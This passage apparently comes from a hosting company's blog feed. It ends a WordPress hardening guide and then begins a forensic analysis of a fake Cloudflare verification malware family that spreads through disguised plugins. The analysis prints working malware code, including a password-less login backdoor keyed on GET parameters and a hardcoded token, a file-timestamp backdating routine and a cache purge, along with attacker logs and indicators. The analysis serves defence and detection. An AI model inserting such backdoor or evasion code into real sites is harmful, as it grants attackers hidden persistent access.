&lt;p&gt;It’s easy to create a clone of your website on Kiravo (follow &lt;a href=&quot;https://kiravo.net/create-manage-staging-sites/&quot;&gt;this tutorial&lt;/a&gt;), allowing you to make updates safely without affecting the live site. If everything works without problems, you can apply the updates in production.&lt;/p&gt;
&lt;p&gt;If your hosting provider does not offer built-in staging options, a plugin like &lt;a href=&quot;https://wordpress.org/plugins/wp-staging/&quot;&gt;WP Staging&lt;/a&gt; can be an effective solution; however, it may add some bloat to your website.&lt;/p&gt;
&lt;h4 id=&quot;make-backups-before-any-changes&quot;&gt;Make backups before any changes&lt;/h4&gt;
&lt;p&gt;A good practice for updates or modifications to the code or database is to make a backup beforehand.&lt;/p&gt;
&lt;p&gt;An update can fail due to incompatibility with another site component, leading to critical errors (such as a “white screen of death”). Without a recent backup, recovery can be stressful, costly, and lengthy. With a backup, you can return to the functional version of your site in a few minutes.&lt;/p&gt;
&lt;p&gt;At &lt;a href=&quot;https://kiravo.net/&quot;&gt;Kiravo&lt;/a&gt;, we offer automatic daily backups and the ability to create manual backups directly from the control panel. Both automatic and manual backup options are available across all our hosting plans.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://kiravo.net/create-manual-backup-wordpress/&quot;&gt;How to do a manual backup&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://youtu.be/H_NpRQL5RoQ?si=r4ukdNVUs7elwfVS&quot;&gt;How to restore your website&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;delete-what-you-dont-use&quot;&gt;Delete what you don’t use&lt;/h4&gt;
&lt;p&gt;A frequently overlooked aspect is removing unused plugins and themes.&lt;/p&gt;
&lt;p&gt;It’s essential to understand the difference between “inactive” and “deleted”. An inactive plugin or theme is like an installed but not running program. Its physical code still exists on your server. If that code has a vulnerability (for example, a script that can be accessed directly through a specific URL address), an attacker can exploit it regardless of whether the plugin is activated or not.&lt;/p&gt;
&lt;p&gt;Each software element you keep adds to your site’s “attack surface”; more code means more potential entry doors. Ask yourself: “&lt;strong&gt;Is this plugin/theme absolutely essential for my site’s functioning NOW?&lt;/strong&gt;”.&lt;/p&gt;
&lt;p&gt;If the answer is no, first deactivate the element. Then, navigate the site to make sure everything works correctly. If everything is fine, come back and delete it permanently.&lt;/p&gt;
&lt;p&gt;Give up the “I might need it sometime” mentality. If you need it again, you can reinstall it in 30 seconds. The security risk of keeping unused code far outweighs the minor inconvenience of a future reinstallation. The golden rule is: if you don’t use it, delete it!&lt;/p&gt;
&lt;p&gt;This applies not only to themes or plugins, but also to entire sites – don’t leave old sites, test sites, clones, outdated stagings, or anything else you don’t actively use on the server, especially if you have a classic cPanel hosting plan, where there is no isolation between sites.&lt;/p&gt;
&lt;h4 id=&quot;monitor-errors&quot;&gt;Monitor errors&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Error Log&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2246&quot; height=&quot;840&quot; src=&quot;https://kiravo.net/_astro/php-error-log.A7H84388_2cjifE.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Another important aspect is monitoring error logs after updates have been applied.&lt;/p&gt;
&lt;p&gt;Sometimes, an update doesn’t crash the site but introduces “silent” PHP errors running in the background. These errors can slow down the site’s performance, cause abnormal functionalities, and fill up server space with log files of tens of gigabytes. Checking the error log is like a medical checkup after an intervention.&lt;/p&gt;
&lt;p&gt;After performing updates, access the file manager from the hosting panel and locate a file named error_log (typically in the site’s root directory). Open it and look at the latest entries.&lt;/p&gt;
&lt;p&gt;These can alert you to any problems that have occurred and help you resolve them. &lt;/p&gt;
&lt;h4 id=&quot;watch-out-for-shared-hosting&quot;&gt;Watch out for shared hosting!&lt;/h4&gt;
&lt;p&gt;On a cPanel account, sites are not isolated from each other.&lt;/p&gt;
&lt;p&gt;A vulnerable or infected site can compromise all other sites in the same account. Ensure that all sites you manage are equally well-secured.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pro tip:&lt;/strong&gt; Don’t host sites of friends, family, or any other site you don’t control on your cPanel account. If any of them have security problems, vulnerabilities, or infections, it can affect all your sites.&lt;/p&gt;
&lt;p&gt;Sites on the &lt;a href=&quot;https://kiravo.net/&quot;&gt;Kiravo hosting&lt;/a&gt; platform are isolated from each other, so an infected site cannot infect another site.&lt;/p&gt;
&lt;p&gt;By keeping all PHP scripts up to date on all sites, you’ll significantly reduce the risk of your site becoming a victim of software vulnerability-based attacks.&lt;/p&gt;
&lt;h4 id=&quot;block-malicious-traffic-before-it-reaches-the-server&quot;&gt;Block malicious traffic before it reaches the server&lt;/h4&gt;
&lt;p&gt;A reverse proxy service, such as Cloudflare, acts as an intelligent shield placed in front of your server, which filters malicious traffic before it reaches your site. The most popular services offering filtering and protection solutions are: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com&quot;&gt;Cloudflare&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bunny.net&quot;&gt;Bunny&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sucuri.net/&quot;&gt;Sucuri&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.fastly.com&quot;&gt;Fastly&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Traffic passes through their global network, where it can be filtered based on IP, country, request type, suspicious behaviour, presence of bots, or traffic intensity.&lt;/p&gt;
&lt;p&gt;I’ve been using Cloudflare’s free plan for my websites for a long time, and it has been sufficient to provide adequate protection.&lt;/p&gt;
&lt;p&gt;What you can do from Cloudflare to secure your WordPress site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You can block traffic from high-risk regions (e.g., China, Russia, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You have free, automatic, and unlimited DDoS protection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You have protection against bots scanning the site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can protect contact forms with Cloudflare Turnstile&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can block or limit access to PHP files that are frequently attacked (e.g., &lt;code&gt;xmlrpc.php&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;bonus--the-right-hosting-partner&quot;&gt;Bonus – The right hosting partner&lt;/h3&gt;
&lt;p&gt;This is where the major difference lies between cheap hosting and premium hosting specialised in WordPress.&lt;/p&gt;
&lt;p&gt;Quality hosting will offer server-level WAF, real-time anti-malware scanning, and IP blocking as standard. Even a cheap one offers those benefits.&lt;/p&gt;
&lt;p&gt;But a premium hosting like &lt;a href=&quot;https://kiravo.net/&quot;&gt;Kiravo&lt;/a&gt; will go further:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;site isolation&lt;/strong&gt; – each site runs in its own isolated container. On the same hosting package, you can have sites on different servers, in different locations. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;auto-repair&lt;/strong&gt; for WordPress core – modified or infected WordPress core files are automatically replaced with clean versions. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;login protection&lt;/strong&gt; through a captcha solution + limiting failed login attempts and blocking automatic logout from admin after 60 minutes of inactivity &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;security headers&lt;/strong&gt; – prevent vulnerability exploitation, protecting against Cross-Site Scripting (XSS), clickjacking, and other threats. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;uptime monitoring&lt;/strong&gt; – hosting providers typically only monitor their servers, not clients’ sites. Kiravo also monitors sites to enable quick intervention during downtime (caused by infections or other issues).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;proactive expert support&lt;/strong&gt; - it’s easy to throw an AI chatbot to answer basic questions, but in case of a &lt;a href=&quot;https://kiravo.net/fake-cloudflare-verification-wordpress-malware/&quot;&gt;complex malware attack&lt;/a&gt;, you need experts on your side.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These benefits are near impossible to obtain on cheap cPanel hosting. &lt;/p&gt;
&lt;h3 id=&quot;myths-and-realities-about-wordpress-security&quot;&gt;Myths and realities about WordPress security&lt;/h3&gt;
&lt;p&gt;Many “tips” you see online are either outdated or completely useless. Let’s review a few frequently found in superficial and poorly documented articles, which either bring no real benefit or induce a false sense of security.&lt;/p&gt;
&lt;h4 id=&quot;myth-wordpress-is-insecure&quot;&gt;Myth: WordPress is insecure&lt;/h4&gt;
&lt;p&gt;Reality: WordPress core is very secure.&lt;/p&gt;
&lt;p&gt;According to the Patchstack report for 2024, 0.2% of vulnerabilities were found in WordPress core. In the 2025 report, the figure dropped to 0.001%—only 7 vulnerabilities. Risk comes almost exclusively from poor quality, outdated themes/plugins, or wrong usage practices.&lt;/p&gt;
&lt;h4 id=&quot;myth-you-need-an-all-in-one-security-plugin&quot;&gt;Myth: You need an “all-in-one” security plugin&lt;/h4&gt;
&lt;p&gt;Reality: these monolith plugins can offer a false sense of security.&lt;/p&gt;
&lt;p&gt;Intelligent malware can easily fool a local scan, and some of these plugins have had serious vulnerabilities themselves. Moreover, they consume significant resources. It’s more efficient to use small, specialised plugins (for 2FA and login limiting) and leave scanning and firewall protection to the hosting provider and an external service, such as Cloudflare.&lt;/p&gt;
&lt;h4 id=&quot;myth-my-site-is-small-so-nobody-attacks-me&quot;&gt;Myth: My site is small, so nobody attacks me&lt;/h4&gt;
&lt;p&gt;Reality: the vast majority of attacks are automated.&lt;/p&gt;
&lt;p&gt;While a more well-known site has a higher chance of being attacked, bots constantly scan the internet looking for vulnerabilities, not just famous sites. Your site is just an IP on a list.&lt;/p&gt;
&lt;h4 id=&quot;myth-https-secures-my-site&quot;&gt;Myth: HTTPS secures my site&lt;/h4&gt;
&lt;p&gt;Reality: partially true.&lt;/p&gt;
&lt;p&gt;HTTPS encrypts data in transit, protecting information sent through forms. It doesn’t protect the site from malware, SQL injections, or software vulnerabilities. It’s a necessary but small piece of the security puzzle.&lt;/p&gt;
&lt;h4 id=&quot;myth-i-have-good-hosting-so-i-dont-need-to-worry&quot;&gt;Myth: I have good hosting, so I don’t need to worry&lt;/h4&gt;
&lt;p&gt;Reality: partially true.&lt;/p&gt;
&lt;p&gt;Ordinary hosting, no matter how good, provides a solid foundation, but it cannot secure your site’s code, weak passwords, or vulnerable plugins you install. It’s a trustworthy partner, but doesn’t do all the work for you.&lt;/p&gt;
&lt;h4 id=&quot;myth-i-changed-the-database-prefix-so-im-ok&quot;&gt;Myth: I changed the database prefix, so I’m ok&lt;/h4&gt;
&lt;p&gt;Reality: a completely useless measure in practice.&lt;/p&gt;
&lt;p&gt;The default prefix for database tables is wp_. You’ve probably seen recommendations to change it to something custom. It’s one of the most useless suggestions. Database security doesn’t lie in a weird prefix. Don’t waste your time with that; it has no relevance.&lt;/p&gt;
&lt;h4 id=&quot;myth-hide-wordpress-version&quot;&gt;Myth: Hide WordPress version&lt;/h4&gt;
&lt;p&gt;Reality: Irrelevant.&lt;/p&gt;
&lt;p&gt;Bots will try to exploit all known vulnerabilities, regardless of the version you report in the site’s header.&lt;/p&gt;
&lt;h2 id=&quot;conclusion-1&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Securing a WordPress site is not something you do just once; it is an ongoing process that requires regular attention and care.&lt;/p&gt;
&lt;p&gt;By employing a layered approach that incorporates good digital habits, robust access controls, regular updates, an external firewall, and high-quality hosting, you can reduce risks and establish a rock-solid foundation for your online presence.&lt;/p&gt;
&lt;p&gt;Do you have questions or need help securing your WordPress site?&lt;/p&gt;
&lt;p&gt;Feel free to &lt;a href=&quot;https://kiravo.net/contact/&quot;&gt;contact us&lt;/a&gt;. We offer security audits and malware removal services at affordable rates. If you’re a Kiravo customer, our support includes malware removal at no additional charge.&lt;/p&gt;</content:encoded><category>Guides</category><author>Andrei Chira</author></item><item><title>Inside the fake-Cloudflare-verification malware</title><link>https://kiravo.net/blog/fake-cloudflare-verification-wordpress-malware/</link><guid isPermaLink="true">https://kiravo.net/blog/fake-cloudflare-verification-wordpress-malware/</guid><description>A technical breakdown of the fake Cloudflare verification malware on WordPress: how the trap works, how to spot it, and how to clean a site.</description><pubDate>Sat, 06 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This article presents a detailed technical autopsy of a sophisticated malware campaign targeting WordPress websites, designed to trick visitors into compromising their own computers.&lt;/p&gt;
&lt;p&gt;The attack culminates in a fake “Cloudflare Verification” page that uses social engineering to convince victims to run malicious commands in their terminal.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Fake Cloudflare verification page&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2560&quot; height=&quot;1603&quot; src=&quot;https://kiravo.net/_astro/fake-cloudflare-verification-scaled.BdqFYH06_1DLVRS.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;If you’ve encountered a page like the one above while browsing the web, it’s crucial to understand what you are seeing. This is not a legitimate security check from Cloudflare or any other security provider. It is a sophisticated trap designed to compromise your personal computer.&lt;/p&gt;
&lt;h2 id=&quot;the-short-answer-its-a-trap&quot;&gt;The short answer: It’s a trap!&lt;/h2&gt;
&lt;p&gt;If this page appears, your next actions are critical for your security.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Do NOT&lt;/strong&gt; follow the on-screen instructions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Do NOT&lt;/strong&gt; copy or paste anything into your Terminal or PowerShell.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Close the browser tab immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The page is a scam. The issue is not with your connection’s security; the website you are visiting has been compromised by malware.&lt;/p&gt;
&lt;h3 id=&quot;how-the-scam-works-a-simple-explanation&quot;&gt;How the scam works (a simple explanation)&lt;/h3&gt;
&lt;p&gt;The attacker is using a technique known as &lt;strong&gt;“pastejacking”&lt;/strong&gt; (a form of clipboard hijacking). The goal is to trick you into running a malicious command on your own computer.&lt;/p&gt;
&lt;p&gt;Think of it like a magic trick for your clipboard.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Bait:&lt;/strong&gt; The page shows you a harmless line of text, such as &lt;code&gt;&apos;I am not a robot: Cloudflare Verification ID: 715921&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Switch:&lt;/strong&gt; However, when you click the “Copy” button, a hidden script copies a different, malicious command to your clipboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Trap:&lt;/strong&gt; The attacker relies on you trusting the text you saw and pasting the hidden command into your computer’s terminal without verifying it first. Once you press &lt;code&gt;Return&lt;/code&gt;, that malicious command runs, potentially installing malware, ransomware, or keyloggers on your system.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;who-is-at-risk&quot;&gt;Who is at risk?&lt;/h3&gt;
&lt;p&gt;This specific attack is designed to target users of desktop operating systems like &lt;strong&gt;macOS and Windows&lt;/strong&gt;. The instructions to open “Terminal” (for Mac) or “PowerShell” (for Windows) are the key indicators.&lt;/p&gt;
&lt;p&gt;Users on mobile devices like phones and tablets are generally not targeted by this specific method, as they do not have the same command-line interfaces.&lt;/p&gt;
&lt;h2 id=&quot;for-site-owners--developers--the-technical-deep-dive&quot;&gt;For site owners &amp;#x26; developers — the technical deep dive&lt;/h2&gt;
&lt;p&gt;The investigation began after our proactive, server-side security systems detected and neutralized malicious code on several client accounts.&lt;/p&gt;
&lt;p&gt;This automated action, while successful in disabling the threat’s core functions, resulted in PHP Fatal Errors on the affected sites. These errors, combined with client reports of a strange “cloaking” behavior, where the site appeared broken to the public but worked perfectly for logged-in admins, prompted a full forensic analysis.&lt;/p&gt;
&lt;p&gt;Our investigation uncovered a complex WordPress malware family that disguises itself as plugins with procedurally generated names. We have identified several variants, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plugin “Pouros, Bechtelar and Treutel,”&lt;/strong&gt; internally identified by the text-domain &lt;code&gt;emotional-haversack&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plugin “Schowalter, Corkery and Krajcik,”&lt;/strong&gt; identified by the text-domain &lt;code&gt;forceful-premise&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is highly probable that other variants exist, and we will update this article as new information becomes available.&lt;/p&gt;
&lt;h3 id=&quot;a-peculiar-plugin&quot;&gt;A peculiar plugin&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;emotional-haversack&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2560&quot; height=&quot;1707&quot; src=&quot;https://kiravo.net/_astro/emotional-haversack-scaled.LcyJdSr9_1NF0Xt.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;The plugin’s header immediately raised suspicion. It was a collection of nonsensical, procedurally generated data designed to mimic a legitimate plugin while revealing nothing of its true purpose.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Plugin Name: Pouros, Bechtelar and Treutel
 * Description: Venustas apto umerus amoveo defaeco velum...
 * Version: 3.17.8
 * Text Domain: emotional-haversack
 * Author: Jerald Bernier MD
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The combination of a random corporate name, a Latin placeholder description, a fake author, and the bizarre &lt;code&gt;emotional-haversack&lt;/code&gt; text domain served as the first indicator that this was no ordinary plugin.&lt;/p&gt;
&lt;p&gt;A critical breakthrough in this investigation was the discovery of a second, seemingly different plugin named &lt;code&gt;forceful_premise&lt;/code&gt; on another compromised site.&lt;/p&gt;
&lt;p&gt;While its generated details were unique, its internal structure was identical. This confirmed that we were not dealing with a single piece of malware, but an entire family generated by the same malicious toolkit.&lt;/p&gt;
&lt;h4 id=&quot;the-malwares-dna-what-stays-the-same&quot;&gt;The malware’s DNA: what stays the same&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Core Logic &amp;#x26; File Structure:&lt;/strong&gt; The operational flow (loader, includes, hooks, and core functions) remains identical across variants. The directory structure (&lt;code&gt;/class&lt;/code&gt;, &lt;code&gt;/vendor&lt;/code&gt;, &lt;code&gt;/includes&lt;/code&gt;, etc.) is also preserved.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Obfuscation Strategy:&lt;/strong&gt; The technique of using generative “noise” functions, nonsensical names, and decoy asset files is the malware’s consistent signature.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;the-procedural-disguise-what-changes&quot;&gt;The procedural disguise: what changes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;All Identifiers:&lt;/strong&gt; The plugin name, folder name, author, URIs, and internal function/variable names are unique to each variant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Text Domain:&lt;/strong&gt; Our analysis confirmed that even the &lt;code&gt;Text Domain&lt;/code&gt; is procedurally generated (e.g., &lt;code&gt;emotional-haversack&lt;/code&gt; in the first case, &lt;code&gt;forceful-premise&lt;/code&gt; in the second). This is a key finding, as it invalidates using a single text domain as a reliable, unique indicator for detection.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;indicators-of-compromise-iocs&quot;&gt;Indicators of compromise (IoCs)&lt;/h3&gt;
&lt;p&gt;Administrators and security professionals should search for the following patterns and indicators to identify this threat:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plugin Directory:&lt;/strong&gt; A randomly named directory in &lt;code&gt;wp-content/plugins/&lt;/code&gt; (e.g., &lt;code&gt;emotional_haversack&lt;/code&gt;, &lt;code&gt;forceful_premise&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plugin Header:&lt;/strong&gt; Search all plugin files for headers containing a Latin placeholder &lt;code&gt;Description&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Backdoor URL Parameters:&lt;/strong&gt; Check server access logs for requests containing the GET parameters &lt;code&gt;harp_interesting&lt;/code&gt; or &lt;code&gt;terrorise_seriously&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;External Network Requests:&lt;/strong&gt; Monitor outgoing traffic from your site’s frontend for requests to domains like &lt;code&gt;javascriptbasics.com&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;File System Artifacts:&lt;/strong&gt; The presence of a &lt;code&gt;license.txt&lt;/code&gt; file within the plugin’s subdirectories.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;infection-vector---a-compromised-administrator-account&quot;&gt;Infection vector - a compromised administrator account&lt;/h3&gt;
&lt;p&gt;While many infections exploit software vulnerabilities, the server logs for this case revealed a more direct and alarmingly common point of failure: &lt;strong&gt;compromised administrator credentials&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The attacker did not need to find a complex flaw in a plugin; they simply walked in the front door with a stolen key.&lt;/p&gt;
&lt;h4 id=&quot;anatomy-of-the-breach-via-server-logs&quot;&gt;Anatomy of the breach via server logs&lt;/h4&gt;
&lt;p&gt;The access logs paint a clear, minute-by-minute picture of the breach:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. The Login: &lt;code&gt;[03/Sep/2025:10:59:39]&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;140.235.170.168 - - [03/Sep/2025:10:59:39 +0300] &quot;POST /wp-login.php HTTP/2&quot; 302 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attack begins with a &lt;code&gt;POST&lt;/code&gt; request to &lt;code&gt;wp-login.php&lt;/code&gt; from the attacker’s IP (&lt;code&gt;140.235.170.168&lt;/code&gt;). The &lt;code&gt;302&lt;/code&gt; status code indicates a successful redirect, the standard result of a correct username and password submission. At this moment, the attacker gained full administrative access to the site.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The Upload: &lt;code&gt;[03/Sep/2025:11:00:22]&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;140.235.170.168 - - [03/Sep/2025:11:00:22 +0300] &quot;POST /wp-admin/update.php?action=upload-plugin HTTP/2&quot; 200 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Less than a minute after logging in, the attacker navigated to the plugin installation area and used WordPress’s legitimate functionality to upload their malware, packaged as a ZIP file. This log entry shows the direct &lt;code&gt;POST&lt;/code&gt; request to the plugin upload handler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. The Activation: &lt;code&gt;[03/Sep/2025:11:00:33]&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;140.235.170.168 - - [03/Sep/2025:11:00:33 +0300] &quot;GET /wp-admin/plugins.php?action=activate&amp;#x26;plugin=emotional_haversack%2Femotional_haversack.php...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just 11 seconds later, the attacker activated the plugin. This single &lt;code&gt;GET&lt;/code&gt; request triggered the entire malicious activation sequence.&lt;/p&gt;
&lt;p&gt;This log analysis is critical because it demonstrates that the initial vulnerability was not in a piece of software, but in &lt;strong&gt;account security&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This underscores the paramount importance of strong, unique passwords and Two-Factor Authentication (2FA) as a primary line of defense.&lt;/p&gt;
&lt;h3 id=&quot;the-attack-chain-a-phase-by-phase-autopsy&quot;&gt;The attack chain: a phase-by-phase autopsy&lt;/h3&gt;
&lt;p&gt;The malware implements a multi-layered strategy for infection, persistence, and evasion. The key attack vectors include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A password-less authentication backdoor for persistent access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Advanced hiding mechanisms in both the backend (the plugins list) and the frontend (IP-based cloaking for administrators).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;An installation routine that modifies file timestamps to evade detection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;An extensive use of “noise” code and decoy files to frustrate analysis.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of these sophisticated server-side mechanisms are designed with a single purpose: to successfully execute the final phase of the attack. This final phase is the delivery of a malicious JavaScript payload, which is responsible for hijacking the visitor’s browser and displaying the &lt;strong&gt;fake Cloudflare verification page&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The malware’s architecture is modular and deliberately fragmented. The attack unfolds in four distinct phases.&lt;/p&gt;
&lt;h4 id=&quot;phase-1-activation--entrenchment-the-setup&quot;&gt;Phase 1: Activation &amp;#x26; Entrenchment (The Setup)&lt;/h4&gt;
&lt;p&gt;Upon activation, the malware immediately executes a sophisticated setup routine designed not just to function, but to disappear.&lt;/p&gt;
&lt;h5 id=&quot;temporal-camouflage&quot;&gt;Temporal camouflage&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function obnoxiously_unnecessarily($path)
{
    $main = vacantly_chunder_selfish(dirname(neck_afterwards));

    if (is_dir($path)) {
        touch($path, $main);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo-&gt;getRealPath(), $main);
        }
    } else {
        touch($path, $main);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first and most clever setup function is designed to make the malware “age” itself instantly.&lt;/p&gt;
&lt;p&gt;It scans the &lt;code&gt;wp-content/plugins/&lt;/code&gt; directory, finds the modification timestamp of the oldest legitimate plugin, and then recursively changes the “last modified” date of all its own files and folders to match this old timestamp.&lt;/p&gt;
&lt;p&gt;This is a brilliant anti-detection technique. An admin inspecting the file system would normally spot a new plugin by its recent date. By backdating itself, the malware’s folder blends in, appearing as if it has been installed for months or years.&lt;/p&gt;
&lt;h5 id=&quot;the-state-flag--cache-purge&quot;&gt;The state flag &amp;#x26; cache purge&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function fold_league_dutiful()
{
    $p = __DIR__ . &quot;/&quot; . &quot;license.txt&quot;;
    file_put_contents($p, &quot;e2075474294983e013ee4dd2201c7a73=1&quot;);
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    chairperson_nervously_not();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second activation function handles state management and prepares for payload delivery.&lt;/p&gt;
&lt;p&gt;It creates a &lt;code&gt;license.txt&lt;/code&gt; file to act as an “active” flag. It then calls a master cache-purging function that aggressively clears the caches of WordPress’s native object cache and major plugins like &lt;strong&gt;WP Rocket&lt;/strong&gt;, &lt;strong&gt;W3 Total Cache&lt;/strong&gt;, and &lt;strong&gt;WP Fastest Cache&lt;/strong&gt;. to ensure the malicious payload is delivered to the very next visitor.&lt;/p&gt;
&lt;h4 id=&quot;phase-2-persistence--evasion-the-core-backdoor&quot;&gt;Phase 2: persistence &amp;#x26; evasion (the core backdoor)&lt;/h4&gt;
&lt;p&gt;With the malware entrenched, its next priority is ensuring long-term, undetected access.&lt;/p&gt;
&lt;h5 id=&quot;the-authentication-backdoor&quot;&gt;The authentication backdoor&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function inventory_tenant_innovate_wildly()
{
    if (isset($_GET[&apos;harp_interesting&apos;]) &amp;#x26;&amp;#x26; isset($_GET[&apos;terrorise_seriously&apos;])) {
        $temp = intval($_GET[&apos;harp_interesting&apos;]);

        if ($_GET[&apos;terrorise_seriously&apos;] !== &quot;2MMatYMDsDr4yMlFmKx3pB5G9iBVTsU0NwOwTE78ShvqQ4Ui&quot;) {
            exit;
        }
        wp_set_auth_cookie($temp);
        wp_redirect(&quot;/wp-admin&quot;);
        exit;
    }
}

add_action(&apos;init&apos;, &apos;inventory_tenant_innovate_wildly&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This provides the attacker with a permanent, password-less “skeleton key” to the website.&lt;/p&gt;
